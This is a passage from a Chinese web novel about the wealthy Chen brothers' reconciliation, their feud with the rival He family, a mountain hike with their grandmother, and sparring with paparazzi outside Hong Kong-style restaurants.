陈一诺笑道:“切,他哪敢~这回收拾他弟,下回该收拾他了。” 陈宗礼说了声也好,问:“古德庆呢,他安全吗?别有钱没命享。” 陈一诺吃着红豆沙,回答道:“放心,他精着呢。接受完采访,直接坐私人飞机出国了。还要求有贴身保镖跟着。” 陈宗礼从来没羡慕过什么人,但此时,他挺羡慕陈一诺的。 羡慕他可以毫无顾忌地对贺家进行报复式攻击,而且无需在意撕毁面具后,担心贺家的反击。他就是肆意妄为地做自己想做的。 这是带着“陈家掌舵人”镣铐的陈宗礼永远无法做到的。他做不到,不妨碍他替陈一诺叫好。 陈宗礼笑道:“是很厉害!” “不过,你喝了我的红豆沙……” 得意忘形的陈一诺低头一看,被自己喝一半的红豆沙还在右手边,他眼下这碗,确实是陈宗礼的。 他咽下那口红豆沙,尴尬道:“不好意思啊……我再叫一……” 再叫一碗的碗字没说出口,陈宗礼已经把红豆沙抢回来,舀了一勺放进嘴里。 20年陈皮回甘,红豆沙绵密,压了多年的心火,此时全消了。 他扬起嘴角:“确实挺甜的。” …… 从龙凤楼出来,四面八方的记者蜂拥而至,把陈家两兄弟围得水泄不通。 陈宗礼挑眉问陈一诺:“你安排的?” 陈一诺皮笑肉不笑地跟记者打招呼:“不然呢?做戏做全套啊~” 记者A:“古德庆在警局外的采访,你们有什么想说的吗?” 记者B:“多年前,被贺家陷害的事,接下来会采取法律行动吗?” 陈宗礼和陈一诺相视一笑,彻底泯恩仇。彼此心中非常明确,往后陈家的矛头只能一致对外。 陈一诺左边嘴角扬起,眼神带着邪气对记者说道:“该采取的行动一个不会少,但也感谢他们,让我们兄弟空前团结……” 他盯着摄像头,仿佛在威胁镜头对面的贺某某。 “所以接下来,我们必定以牙还牙,十倍奉还!” 第45章 人类的悲喜并不相通。 陈家兄弟在吃甜甜绵绵的红豆沙,贺家兄弟在喝苦苦涩涩的斑痧。 在贺家半山别墅的书房内,贺朗一身银丝唐装,双手夹着三炷香,对佛龛里的白玉观音,嘴上念念有词。在港城横行无忌的贺二少,此时跪在他身后,有些故作萎靡。 身后传来一阵脚步声,被管家“嘘”地拦在门外。等贺朗对观音拜完三拜,转过身来,管家才放人。 贺朝风走进房间,扫了贺朝阳一眼,眼神里藏不住的幸灾乐祸,喊了声:“爸。” 贺朗看着大儿子,点点头:“回来了?坐吧。” 不一会儿,门外传来淡淡的中药味,管家把两杯放凉的斑砂凉茶放到茶几上,恭敬道:“天气燥热,老爷特意准备的,给大少、二少降降火。” 贺朝阳讨厌喝苦的东西,贺朝风当然知道,为了显现自己的能耐,拿起斑砂,仰头利落地喝下。管家递来腌制的陈皮解苦,他故作轻松接过,但没吃,仿佛要体现他完全不怕苦。 笑道:“港城跟C国比,确实太燥热了。一到下午,脑袋热得发晕。喝点凉茶正好!” 贺朝风被老爸派往C国多年,一直嫉妒留在港城,陪在父亲身边的贺朝阳。这次,羽南港项目贺朝阳摔得那么难看。他开心得连夜赶回来。 看贺朝阳迟迟不喝,他提醒道:“朝阳,快喝呀,良药苦口。” 贺朝阳嗜甜,最讨厌喝凉茶,更别说这杯凉茶是被逼着喝的。 但一连几件事没做好,他没有反抗的理由,只能屏住呼吸把斑砂一饮而尽。斑砂是所有凉茶里最苦的,咖啡尚且能加奶加糖,他家的凉茶从来不放糖。他不懂为什么有人会爱那么自虐的东西。 他跪着把喝空的茶杯递给管家,抢过管家手里的陈皮,大块咬下,脸色阴沉。 坐在真皮大班椅上的贺朗,看两个儿子满脸苦涩,脸色才稍微好看一些。 “以前,外面人说,陈家兄弟才貌双全,一个是标准豪门继承人,一个是豪门叛逆者。我从来置若罔闻,因为我始终认为我的两个儿子不比他们差。” “先是安插在一星集团的人,突然被抓;接着莫多里的收购案,我们提前筹划那么久,明明万无一失,居然被陈一诺一个空降兵反杀!” “还有羽南港……”贺朗眼神里,流露出“犯低级错误”的鄙夷,看着贺朝阳:“你居然被人骗了!” “我贺朗的儿子,被一个破中介骗了,还被相关部门审核的时候被揭穿……你让建盛的名声、我的老脸往哪儿搁?!” “还有,那个姓古的!不是你的人吗?他接受采访乱说什么东西?你现在连手下的人都管不住了吗?” 桩桩件件,像一个个巴掌刮在贺朝阳脸上,试想想他已经很久没被贺朗这样骂过了。 他咬着后牙,下颌绷紧,半晌才道:“爸,你再给我一次机会,我一定不会……” 贺朗迅速打断:“HT那个电视台眼看要砸在手里,又丢了羽南港上百亿的项目,再给你一次机会,还打算亏多少?!” “你收买那个财务总监的事,跟古德庆围标的事,还背着官司!自身难保,还想再抛头露面?” 贺朝阳不服:“爸!当年飞舜我也给你赚了不少,你不能……”他没说完,贺朗厉声打断,“我不要这单赚了,那单亏!我要的是这单赚,那单也赚!!!” 两父子都在气头上,一旁看戏的贺朝风装好人劝道:“爸,陈家兄弟向来水火难容,突然和解,杀朝阳措手不及也能理解。” 贺朗铁青着脸,继续骂:“理解个屁!陈家明明已经是四大家族的边缘人!只需要再过一年半载,就能出局!” “这下可好,项目被拿了不说,对着那么多媒体说我们贺家害他们兄弟反目!要以牙还牙!而且选在羽南港中标第二天!让所有舆论都站在他们这边!建盛的股票熔断了,说明什么?!” “说明这次我们输了!给陈家设的局被毁了大半!接下来,我们跟奥斯康家族的合作,我不希望再被影响!” 斑砂的苦味在贺朝阳嘴里久久散不去,贺朗的训话在他脑海里一句句回荡。 这几天,贺朝阳也纳闷,明明走得步步为营,稳操胜券,怎么只过了一个夏天,自己就一输再输的境地? 他不敢再说什么,嘴唇抿得死紧。 贺朝风看弟弟被骂成了丧家犬,心里乐开了花。他被压制那么多年,终于等到机会了。 他道:“爸,你放心,奥斯康家族在C国,对港城的新闻并不太关注。我们只要合作成功,传出去还能压一压负面,股票也能回升。” 贺朝阳扯了扯嘴角,对他哥敷衍的迎合很看不上。 贺朗自然也不傻,他摆摆手:“你不要净说大话,奥斯康家族就在你的地盘上,你女朋友都谈几个了,奥斯康家族怎么就谈不下来?” 贺朝风没想到老爸忽然调转枪头对准自己,吓得手足无措:“他们要我们卖枢纽站……这……” “呵……”贺朗眯眼看他,“现在运输占我们利润多少?要就给他们好了……” 贺朝风皱眉:“可是内地ZF那边……” 贺朗怪他没胆识:“我卖自己的产业他们还能盯着了??他们要多少给多少!别磨磨唧唧影响进度!干不了就让你弟弟去!” 贺朗像极了古时候的暴君,把臣子压得喘不过气。 贺朝风冷汗从额头滑落到鼻尖,忍气吞声道:“知道了。” “还有!奥斯康家族的人喜欢有家室的合作伙伴,你赶紧找个老婆,别成天绯闻满天飞!” 说到女人,贺朝风就来精神了,他胸有成竹道:“爸,我已经有目标了。” 贺朗这才正眼看自己的大儿子,双手交叉在胸前,审慎地问道:“谁?” 贺朝风喃喃:“庄宝瑶。” “哼……”贺朗和跪着的贺朝阳同时冷笑一声,有种我就知道你“狗嘴吐不出象牙”的蔑视。 贺朗道:“环亚集团董事长的大女儿!你打她主意不是一天两天了,她能看上你?” 贺朝阳有城府,但自大。贺朝风肯实干,但好色。 因为管不住“下半身”乱搞,好几个小明星大着肚子上门要名分,被贺朗用钱去母留子。可女明星转头又跟媒体哭诉贺朝风私生活混乱,贺朗对他失望至极,这才把他丢到C国去。 结果,他出国后更放开了。年纪轻轻,私生子女一堆。港城豪门都知道他是花花公子,哪有好人家肯把女儿嫁过来?! 更别说,是名望仅次于,四大家族的庄家大小姐庄宝瑶。 贺朝风对庄宝瑶见色起意多年,求而不得,说道:“我收到消息,她准备回港城了。接下来,她会到亚士得旗舰店画廊任职……我花了好长时间做部署。爸,你相信我,肯定能把人拿下。” “四大家族里,我们跟董李两家关系都好,如果庄家跟我们做亲家,要玩死陈家,不是轻而易举?” 坦白说,贺朗看不上贺朝风的点子。但有一点没分析错,如果能把庄宝瑶娶过来,对贺家无论如何都是助力。还解决了贺朝风家庭的问题。到时候,跟奥斯康家族的沟通庄宝瑶的见识也能帮得上忙。 他思虑再三,总算点头:“行吧,你要是能把人拿下,给你10亿彩礼!” 贺朝风喜出望外:“谢谢爸!” 眼看大哥跟父亲达成协议,贺朝阳敢怒不敢言,差点把后牙咬碎,他阴森森看贺朝风,庄宝瑶的狠辣圈内有名,连庄嘉轩都能收得服服帖帖的女人,能看上你?! 心里冷笑着要看贺朝风的笑话。 “至于你!”贺朗没忘记跪着的小儿子,贺朝阳立刻思绪回笼。“去A国打理打理那边的生意,跟董家搞好关系。这边的事官司有律师帮你处理,没事不要到处招摇。陈家……等风头过了再想办法。另外,那个古……” “古德庆!”贺朝阳咬牙切齿,背叛他的人,怎么可能有好下场。 “你自己处理好!不要留下把柄!” 贺朝阳阴着脸低声道:“放心,我一定处理干净。” …… 陈家老宅三楼,陈一诺笔直躺着,双手叠在安抚毯上,如果他的床缩小成一个棺材,他就是一具帅气的尸体。 陈一诺睁大眼睛,呆呆看着天花板,阳光穿过花窗在天花板上折射出蓝红色的光。这个花窗刚好是当年台风时,被榕树枝砸坏的那扇。 由于房子年代久远,这个花窗又是百来年前的“古董”,兰姨找不到一模一样的材料补上,最后只能换上现代材料,虽然价格不菲,但工艺不同,颜色上始终差点厚重感。 可正是这扇“伪古董”窗,让陈一诺清醒地意识到,自己真的在陈家老宅,上辈子的一切都发生过,他不是在做梦。 重生后的第三个月,他从上辈子来到这辈子,从A国回到港城,从N市小公寓回到陈家老宅的床上…… 这一切,都像一场梦。 可这三个月的每一天,他都踏踏实实地在排上辈子的雷,也踏踏实实地活着。 活着真好! “滴滴滴——” 今天是周末,答应了要陪老太太爬山。怕起不来,昨晚特意定了7点的闹铃,结果生物钟居然比手机设定时间早。 他摸索着把手机闹铃按掉。一条新闻标题,引起他的注意。 “陈家兄弟感情好!龙凤楼共进午餐,放狠话要以牙还牙。” 配图是陈一诺披着安抚毯倒着走,没留意脚下有一道小门槛,怕他跌倒,陈宗礼臂力惊人,连人带毯往身前拽。 昨天那么多采访的照片,狗仔居然捕捉到这一瞬间。就一个动作,把两人不合的谣言一次过击碎。 外人看看热闹,也就过去了,他作为当事人,躺在陈家的床上,幸福得让他惶恐。 也不难理解吧,上辈子他就经常居无定所,有父母时同父母居住,后来搬到爷爷奶奶家住。再后来古家没落了,豪宅住不了,他跟奶奶又去了小一点的别墅。 等奶奶过世,他就跟着陈老太来了港城,后来跟陈宗礼关系变好,确实也有过“家”的感觉。 这个家,有不在意他身份把他领养过来的陈老太;有把他当哥哥,让他换隐形眼镜的陈宗瑜;有致力于把他培养成童养婿的二婶……还有鼓励他念好书,教他做生意,对他千般万般好的陈宗礼…… 因为这些人,他对港城,对陈家老宅,有着很复杂的感情。 要不是后来被送去国外,开始了新一轮的颠沛流离,估计,他早就不需要身上这张安抚毯了。 颠沛流离的创伤,延续到这辈子,他也不想安慰自己,这次一定能留下来。 虽然陈宗礼说,就算他结了婚,你也可以继续“作”。 可就算陈宗礼允许,他也没理由这样逾矩。 毕竟,他的重生金手指也抵挡不住悲欢离合,人聚人散。 他深深呼吸,安慰自己顺其自然,然后慢慢睁开眼睛,起床洗漱。 …… 十五分钟后,他换好运动服,浅蓝速干衣搭深蓝运动裤,拿上手机像个“蓝人”一样出门。 同一时间,隔壁房间也传来开门声,一身黑色运动装的陈宗礼从房间出来。 陈一诺呆站在原地,看陈宗礼朝他走来,问道:“哥,你起那么早?” 陈宗礼边走边伸手把Polo衫的衣领翻好,看出来有些匆忙:“不是说好去爬山?” 陈一诺一脸惊讶,自从他搬回老宅住,陈宗礼几乎每晚都会回来吃饭,然后继续开会到凌晨。 昨天晚饭时,老太太随口说一句去爬山,陈一诺说要去,陈宗礼没应声,本以为他不来,没想到今天会遇见…… 他不解道:“你昨晚工作到很晚吧,周末不多睡一会儿,还去爬山?” 陈宗礼没解释,直接走在他前头,说道:“睡不够也能甩你半座山。倒是你,不行就别勉强……” 陈一诺眨了眨眼睛,惊觉陈宗礼居然如此看不起他的耐力。 他混沌的脑子瞬间被激活,加快脚速,反超对方,边走边撂狠话。 “你比我还大几岁,你悠着点吧,别到时候我左手扶着老太太,右手还得扶个你……” 陈宗礼有些诧异地笑了:“你是不是第一次陪老太太爬山?” 陈一诺点头:“不然呢~” 陈宗礼拍拍他的肩膀:“要活着哦!” 第46章 “就凭你这体能,还想陪我爬山,奶奶下去背你上来得了……” 早上的飞鱼山步道人迹稀少,夏日即将走到头,早上温度的闷热依然不散。 七旬老太太,手持登山杖,威严地站在陡峭山路的最上端,俯视着二十多岁,气喘吁吁的陈一诺,满脸无奈。 陈一诺双手叉腰,大汗淋漓,彻底理解陈宗礼说的“要活着哦”是什么意思…… 他嘟囔道:“不合理!” 又抬起灌铅的腿,往上走了几步,仰视着陈宗礼,嘟囔着:“不像话!” 一滴汗从额头滑落到鼻尖,他抬起手背擦掉,继续道:“我合理怀疑,老太太这张人皮底下,其实里面藏着一个登山冠军!得奥运金牌那种……” 陈宗礼陪老太太爬山的次数多,总体能跟上,但也仍然落后老太太一段距离。 他从背包里丢了一条运动毛巾给满头大汗的陈一诺:“补充一下背景,这是两年前医生不让老太太剧烈运动后,她才选了爬山的。你赶快擦擦汗,上去就能歇着了。” “什么???”陈一诺不可思议地擦着汗,本以为他要再次感叹她是个有“超能力”的老太太,结果他问:“为什么不让剧烈运动啊?奶奶身体怎么了?” 上辈子,他在监狱时直接被告知陈宗礼和老太太的死讯,并不清楚细节。 出狱后,从陈宗瑜的复述里,才得知老太太因为陈宗礼被绑架后,情绪激动昏迷入院。等陈宗礼被撕票消息传来,昏迷的老太太也停止了呼吸。 老太太倒下得太突然,以至于,他总担心老太太身体是不是有什么毛病没被检查出来。 陈宗礼本想跟他开几句玩笑,却发现对方脸色不太好。只能实话实说道:“没什么大碍,她以前跑步,半月板磨损严重,但老太太停不下来,医生就建议她改成爬山。” 正常人都该为老太太的好体魄震惊,只有陈一诺虚虚松了口气。 这时,山顶的老太太等得不耐烦,大声挑衅:“要不给你们在下面搬个板凳桌子,喝着茶聊好不好啊?” 谁能想到,港城有名的两位豪门公子的脸面,被七旬老太太从山下一路摩擦到的山上。他们互相对视一眼,叹了口气。手脚并用继续往上爬。 …… 飞鱼山是全港城海拔最高的山,山的形状如同一条在空中跳跃的鱼,从而得名。 这是陈一诺第一次,登上飞鱼山的山顶。每个城市,都有一座足以俯瞰全城的山,飞鱼山就是这座山。 老太太打量着终于爬到自己面前的孙子,面无表情地指着山下风景,像个经验老道的导游。 “秋高气爽的飞鱼山,是不是有一览众山小的气魄?” 陈一诺整个人趴在栏杆上,汗津津的,像一件没脱水就从洗衣机捞出来的湿衣服。 他有气无力道:“气魄!如果上山的路能别那么陡,就更有气魄了!” 陈宗礼忍不住“噗”笑了出来。老太太用力拍他的脑袋:“二十几岁的小伙子,体力怎么那么差!平时不锻炼吗?!” 上辈子,他后半生都是瘸着过的,用到腿的时间实在少。哪扛得住老太太这样的极限拉练。 他摆摆手:“老太太,你用你的天赋对我的短板,太不公平。有本事,我们比别的。” 老太太来了精神,双手抵着登山杖问:“比什么?赛车啊?” 目光在他和陈宗礼之间扫视:“也不知道谁答应我,以后不玩赛车,结果呢,都赛上头条了!两个骗子!” 本以为事情已经过去,没想到老太太突然翻旧帐。 为了自保,陈宗礼第一时间出卖朋友,解释道:“奶奶,那是庄嘉轩回国,非要在赛车场办接风,我们才随便玩了两把,没想到被记者小题大做。” 陈一诺毫不犹豫跟上:“对对对,哎哟,我们拒绝得可艰难了,毕竟之前答应过您。结果,庄嘉轩非说我们不给面子。摊上这样的朋友,我们也很无奈……” 老太太都听笑了:“哎哟,编你们继续编!” “非要让我说,整个港城还有能逼着你们做事的人?庄嘉轩摊上你们这样的朋友才无奈……” 没给他们反驳的机会,径自转了话题:“让古德庆接受采访,是谁的主意?” 她锐利的目光盯着他们:“别告诉我,是他自己突然良心发现非要说。也别告诉我,采访结束不到半小时,记者就找到你们吃饭的地方做采访,我一个字都不会信。” 如果刚刚只是开玩笑,老太太此时是真生气。 看她脸色不对,陈宗礼和陈一诺异口同声道:“我的主意!” 陈一诺拉着陈宗礼的衣袖,着急道:“你什么你?明明全是我做的……”他又看向老太太,诚恳道,“我给了古德庆一笔钱,记者也是我安排的,哥完全不知情!” 老太太盯着他们,喃喃:“哎哟,看来是彻底和好了!” 陈宗礼抿着唇,垂眸看着陈一诺,意思很明确,和不和好,他说了不算,全看陈一诺。 陈一诺顺着台阶下,一手搭上陈宗礼的肩:“当然。我们全世界第一好!” 他收敛笑容,压低声音告状:“奶奶,今时今日,外面还在传我俩不和!我得利用这件事,让大众知道,全是贺家造谣!” “你小子啊!”陈老太太捏了捏他的脸,脸色才温和了些。 她面朝山下微缩的街景,说道:“我喜欢爬山,因为我觉得人要站得高,才能看得远。” “地上看着天大的事,到山顶再往下看,也就是指甲盖的大小。我们陈家做生意,讲究以和为贵。以前的事,就算捅出来,也没法追究。有必要跟贺家闹僵吗?” 陈一诺皱眉,正色道:“奶奶,以和为贵也分人吧……” “当年,贺家制造负面,趁机抢走飞舜,天骏受到重创,几千号员工差点丢了饭碗。都这样了,我们还以和为贵,是不是太好欺负了?” 陈老太叹气道:“贺朗今时今日的地位,无论在内地,还是在国外,关系网都很深。保不齐哪天我们就要找他们合作。现在你公开宣战,以后有求于人,怎么开口?” 陈一诺后知后觉,对于他来说,曝光贺家的丑事,根本抵不掉上辈子贺家对他们的迫害。 问题是,老太太并不知道啊!从她的角度,陈一诺把事情闹成这样,贺家不只会记恨他,连带整个陈家,都会被记恨上。已有的合作要难产,未来的合作基本不可能。 陈一诺惊觉自己玩脱了,他问陈宗礼:“天峻有跟建盛,不是没有合作吗?” 陈宗礼跟老太太的视线相触,只如实说:“在港城是没有,内地有两个房地产项目,之前是建盛帮忙牵线。” 像是安慰他,补充道:“不过,也说不上什么好资源,都是他们看不上的。” 老太太冷笑:“好资源当然自己留着呀,凭什么给你?本想通过这两个项目打开内地市场……现在要落空了。” “你应该接到电话了吧,那两个项目……” 陈宗礼能感受到陈一诺焦急的目光,本想瞒着他的,没想到老太太会猝不及防地说出来。 他说道:“嗯,都取消了。” “!!!” 不明就里的陈一诺,在陈宗礼承认后,脸色难看。他没想到,会因为自己“一时爽”,给陈宗礼添麻烦。 陈一诺瞬间难堪:“对不起,是我没考虑周到,给你们添麻烦了。” “没有的事。”陈宗礼突然打断,“奶奶,我倒觉得一诺做得好。” “这几年,我们因为维护跟贺家的关系,好几个赚钱的项目,都让贺家插一脚,以为让利能跟他们示好。最后,我们又得到什么呢?全是他们看不上的边角资源。” “跟贺家划清界限,把他从我们赚钱的项目里踢出去,保不齐我们赚得更多。” 掌握未来的陈一诺立刻应和:“哥说得对。奶奶,既然你说要站得高看得远,那我更要坚持姿态!我听说内地zf对贺家颇为微词。” “说他以港商身份,在内地拿了不少优质地段的地。但就是捂盘不卖。等地铁修好,地价涨了,囤地囤了十来二十年,这才慢悠悠开始建!” “这样的人,根本不需要因为他跟内地zf现在的关系,就对他们谨小慎微。我敢打赌,关系会变,人也会变,一旦出问题贺家没有翻身之日。” 陈老太久久看着陈一诺,又看向陈宗礼:“要真打赌,你站哪边?” 陈宗礼视线有些热,陈一诺的话跟他认为的一模一样。脸上难得有笑意:“我赞成一诺的判断。” 陈老太脸上一副“我就知道”的不争气表情,但很快轻松下来,看着陈宗礼:“你向来稳当,现在也被一诺影响,野了不少!” “不过,知道要反驳我了,也挺好。以和为贵不适合现在了,你们年轻人靠自己杀出一条生路吧。” 搞了半天,原来老太太在测试他们! 陈宗礼感慨道:“老太太,你是报了演员培训班吗?这演技,还以为你真生气!” 陈一诺补充:“是啊!而且我听哥说丢了两个项目,我还特别自责……” 陈老太露出俏皮的笑容:“项目丢了两个是真的,让你们三思而后行也是真的。但坐在你们这个位置,做事情就不能顾忌太多。” “奶奶虽然年纪大了,但关键时候,还是能在后面撑你们几十年,放手干。” 陈一诺跟陈宗礼被老太太逗笑,立马应道:“那你一定要长命百岁,撑我们走远一些……” 满头银发的老太太“啧”了一声:“说是这么说,你们好歹让我歇一歇……” 陈一诺:“没问题,下山的时候,我背你下去!” 老太太跟陈宗礼快速对了一个眼神,陈一诺没看到。 老太太爽朗道:“行啊,我上个洗手间,你们再歇一会,下山还要两小时呢……” 说完,老太太健步如飞走远了。陈一诺这才打回原形。 “两小时!”他腿软着蹲在地上,拽着陈宗礼的衣袖,有气无力:“哥,我后悔了,我们轮流背行不行啊……我怕我会死在下山的路上。” 陈宗礼拍拍他的肩膀:“放心,死不了……” 难得陈宗礼不答应,陈一诺诧异道:“你就这么对你弟?!你忍心看着我累死在飞鱼山?而且,万一我不小心摔了,老太太跟着摔怎么办?” “你对自己要有信心!”陈宗礼笑笑。 陈一诺双手抓着自己的卷毛,绝望道:“好吧……” 不一会儿,老太太声音传来:“歇完了没?走了……” 陈宗礼拍拍他的脑门,上斜眼弯弯:“走咯!坐缆车下山!” 陈一诺哀嚎:“走不了啊,再走一步我腿就要跟我身体分家了……我……” “等一下,你刚刚说……缆车?” 他忽地抬头看向不远处的陈宗礼和陈老太。 原来,山顶另一侧有缆车供旅客上下山。而陈家祖孙两正站在缆车检票口检票。 虽然又被老太太耍了,但他依旧莫名开心,他张开双手,跑向他的家人,大喊着挽回颜面道: “奶奶,我背你上缆车!” 第47章 利园,港城百年老字号酒楼。 它的前身是一位民国富商的私宅园林。后来,富商移民国外,园林原址被酒楼老板买下,开了这家利园酒楼。 港城人爱讲风水,陈家五代都喜欢“帮衬”利园,连带着四大家族也不时闪现。这里见证过多个豪门的崛起,也见证过不少普通人一夜暴富。 久而久之,坊间便传,利园风水好,是豪门旺地,更是情报、八卦聚集地。因此,利园四周角落里,总藏着蹲独家的狗仔。 此时,利园对街的转角处,《新地》杂志的狗仔老K在车上吃着早餐。突然,看见迎面开过来好几辆豪车,他立刻拍醒抱着相机打盹的小王。 老K:“喂,醒醒,有情况。” 小王抱着相机醒过来,睡眼惺忪地往老K手指的方向看。 老K举着望远镜:“车牌CY1314,陈老太的车!” 四大家族的车牌号,都是从拍卖行拍回来的天价车牌。CY是陈老太名字翠英的缩写,当年陈老爷在世时,特意把CY1314,送给陈老太的结婚周年礼物高调示爱,轰动港城。 小王拿起相机,确认道:“是陈老太的车!奇怪,她平时出门坐车都很低调,怎么今天把这辆开出来了,还开了三辆?” 老K拿着设备就要下车:“说明今天陈老太不止一个人来。保不齐陈宗礼和陈一诺两兄弟都来了!还愣着干嘛,去抢独家!!” …… 陈家的三辆豪车在利园门口停稳。CY1314车门率先打开,一身黑的陈宗礼从后排下车,小跑绕到另一侧替老太太开车门。 接着,陈一诺从另一辆车下来,也一路跑到老太太的车门旁,跟陈宗礼左右护法似的,护送老太太进利园。 陈家祖孙三人在公开场合同框,已经要追溯到那年TVA的慈善晚宴了。 当年,陈家两位少爷年纪尚轻,一个上大学,一个念高中,虽然脸上的稚气仍在,但一个冷峻霸气,一个灵动英俊,明星似的备受瞩目。 7年过去,陈老太带着两个孙子再次同框。陈宗礼已经是掌握实权的天峻集团话事人,陈一诺则是坐拥一星集团的百亿富豪。 加上这几个月,跌宕起伏的大小事件,全港市民都在期待他们一家合体。 狗仔们兴奋得像嗅到血腥味的鲨鱼,纷纷从四面八方聚集,顿时把利园门口围得水泄不通。陈家人面前立刻堆满了印着不同媒体logo的麦克风。 狗仔们第一轮的子弹,非常尊老地献给陈老太。 “陈老太,今天跟两个孙子喝早茶,是要庆祝羽南港项目吗?” “两个孙子那么孝顺,关系是不是很好呀?” 虽然,近年陈老太深居简出,但常年生活在风口浪尖,对这种场面,依然游刃有余。 她全程保持微笑,回答得体:“今天只是普通家庭聚餐。羽南港是他们合作的第一个项目,年轻人有自己的庆祝方式,我就不掺和了。” 说完,老太太转身要走。这时,一把浑厚的声音穷追不舍:“陈老太,前几天,古德庆接受采访控诉贺朝阳多宗罪。有传言说,这件事的背后是陈家的授意,您有什么要说的?” 陈宗礼和陈一诺的眼刀一起“唰”地朝提问的记者刺过去。男人头发杂乱,脸上有一道疤,就是当年在慈善晚会偷拍陈宗瑜的那位狗仔——老K。 陈老太朝他看一眼,脸上的笑容依旧:“谁告诉你的传言,你去问谁,我没什么好说的。” 这时,陈宗瑜和母亲吴淑芬也下车到了门口,陈一诺上前一步凑到陈宗瑜耳边:“先带老太太进去。” 陈宗瑜看着狗仔里三层外三层的阵仗,惊讶问:“你们不进去?不怕这群记者把你们煎皮拆骨?” 陈一诺活泛的眼睛里溢出一丝邪气:“狗仔等了那么久,总要回答几个问题,让他们好交差。” 陈宗瑜撇他一眼:“你不是很反感狗仔么??” 从陈一诺刚到港城被传“私生子”的时候起,就常常有狗仔蹲他,这让他十分困扰。最过分的一次,他人有三急去商场的厕所,旁边的便池就站着一个狗仔。他差点一脚把人踹得子孙分离。 为此,他能不出门就不出门,对狗仔非常敏感。 陈一诺故意指着一旁冷着脸的太子爷,“跟他比,我还不算太反感。而且舆论的东西,利用好了,对我们还是有益处滴……” 陈宗瑜刚想问益处是什么,陈宗礼忽然插到他们之间,提醒:“再聊记者要走了~” 陈宗瑜捂着胸口喘息:“吓我一跳!行了行了,不妨碍你两接受采访,我先进去了!” 陈一诺推着她往里走,提醒道:“燕窝蛋挞,记得点啊。” 陈宗瑜不知道的是,让陈一诺跟陈宗礼留下应付狗仔,其实是老太太事先安排的。 …… 在飞鱼山坐缆车的时候,老太太突然说:“待会儿去喝茶,外面有狗仔等着。你们趁机会再好好回应一下。” 陈宗礼皱眉,拒绝得很直接:“又不是正式场合,狗仔也不是正式记者,有必要浪费时间吗?” 老太太摆摆手:“不是正式场合,所以大家才能聊点轻松的,你们别总是高高在上,偶尔展示展示有人性的一面,非得冷着一张阎王脸,西装领带全副武装面对他们吗?” 陈一诺看着陈宗礼那张没有人情味的冰块脸,嘲笑道:“嘿,奶奶说你没人性……” 陈宗礼剜了他一眼,回怼:“你有人性,待会采访你来。” 陈一诺也不喜欢面对媒体,他毫不犹豫加入说服老太太计划中来。 “奶奶,那群狗仔为了博眼球总乱写,我们说多错多,别自投罗网了吧?” 老太太希望他们兄弟和睦,也不喜欢他们太和睦,譬如跟她对抗的时候! 她提高声量:“媒体的关系都是处出来的!趁机会利用舆论,对我们有好处。” “我安排的媒体跟我们关系算不错的,会给我们说好话。其他的,只要你们注意分寸,别给他们有空间瞎写就行。” “之前采访里,你公开怼了贺家,zf对你们负责羽南港的项目,还是担心的。把以牙还牙的力气先用在项目上,zf对你们放心,工作才好开展,不是么?” …… 姜还是老的辣。 他们心想里从贺家讨回公道,老太太却比他们都多想一步——乘着舆论的“东风”给羽南港铺路。 果不其然,看老太太她们一走,狗仔们的火力,迫不及待地对准陈宗礼和陈一诺。 狗仔A:“宗礼,外面那么多对你们关系的负面舆论,会影响你们合作吗?” 陈宗礼这个阎王,今天穿着运动服,杀气弱了些,声音还是那么冰:“对于过去的失实报道,我不予回应。我跟一诺的关系很好。在接下来的羽南港项目中,我们也会合作无间……” 狗仔B:“一诺一诺!关于古德庆对贺家的控诉,他说你们如果需要用法律手段,愿意当证人,接着你也发布了一条人事公告,说贺某某涉嫌派商业间谍到你公司内部。” “请问,你们会联系古德庆,跟贺家对簿公堂吗?” 陈一诺眯了眯眼睛,陈家跟贺家水火不容的事,已经闹成这样。本来还稍微忌惮老太太的态度,爬完山之后,回答起来,倒是自信不少。 “谢谢大家关心,目前都在走法律程序,细节不好多说,如果有结果我们会同步给大家。” 狗仔B穷追不舍:“那跟贺家以后还会有合作吗?” 合作个屁!恨不得把他们全家捆起来,从飞鱼山山上丢下去! 他思想有些残暴,回应却很官方:“抬头不见低头见的,现在也说不准。” 忽然一个狗仔大声提问:“7年前,为了保住天峻总裁的职位,陈宗礼把你送出国外,让你得了豪门弃犬的外号,现在你真的能和陈家彻底和解吗?” “哇——”听见他的尖锐提问,现场一片哗然。所有视线投向提出问题的狗仔——老K。 站在一旁的陈宗礼冷笑了声,大家都认为陈宗礼冷面阎王,所以他们之间陈一诺更好说话, 可实际上,他才一肚子坏水,正等着发作呢。 偏偏这位有旧仇的老K,还问这种挑拨离间的问题。 陈一诺笑着跟他对视,笑意却不达眼底:“有时候在网上看到一些不实新闻,我们都没法做什么回应。今天机会正好,我们能面对面交流。” “这位记者朋友,是谁跟你说,陈宗礼把我送出国,是为了保住总裁职位?他亲口跟你说的吗?” 所有人都看向老K,老K咽了口口水,嘴硬道:“不是……但是当年很多报道……” 陈一诺目光阴森森的,没让他继续:“当年的事情,我们彼此都有难处。我们之间已经和解了。” “而当年的失实报道,我们的法务部门会一条一条告,一条一条删!如果你还想用当年的报道来歪曲我的话,写失实报道,那接下来,我的法务下一个就要找你了。” 说话时,陈一诺脸上带着笑,却让现场所有人都觉得后背发凉,老K更是脸色一阵红一阵白,再也不说话了。 谁能想到,陈一诺敢公然威胁记者,在他旁边,平日的“阎王”陈宗礼都成了唱红脸的那位。 他得体地向前半步:“最后一个问题。”他指向站在最后一排,“那位白衣服的长发女生。” 被选中的女生欣喜若狂,朗声问道:“一诺回港之后,接二连三传来好消息,宗礼会觉得有威胁吗?” 陈宗礼歪头看着陈一诺,开玩笑道:“工作上有竞争是好事,不过,他连飞鱼山山顶都爬不上去,对我来说威胁系数很低。” 不苟言笑的陈宗礼,突然公开爆料,害在场的记者一阵轰笑。 陈一诺呆了,狐疑的眼神看着陈宗礼,像在说:你干嘛在记者面前揭我老底? 为了挽回面子,他“喂!”了一声陈宗礼,着急对狗仔解释:“我爬上去了!真的!” 陈宗礼搂着他的肩,敷衍地替他证明:“对对对,他爬上去了!爬得可辛苦了!各位也辛苦!今天的访问就到这里吧!” “不是我没说完呢……” 陈一诺还在咿咿呀呀地要解释,可无论是身高,还是力量,他都不是陈宗礼的对手。挣扎半天,愣是没从他手臂里挣脱出来。就这么被陈宗礼连搂带拽地,拖进了酒楼。 利园门口,剩下一批狗仔,对着两个豪门少爷的背影“咔嚓咔嚓”狂拍,发出阵阵议论。 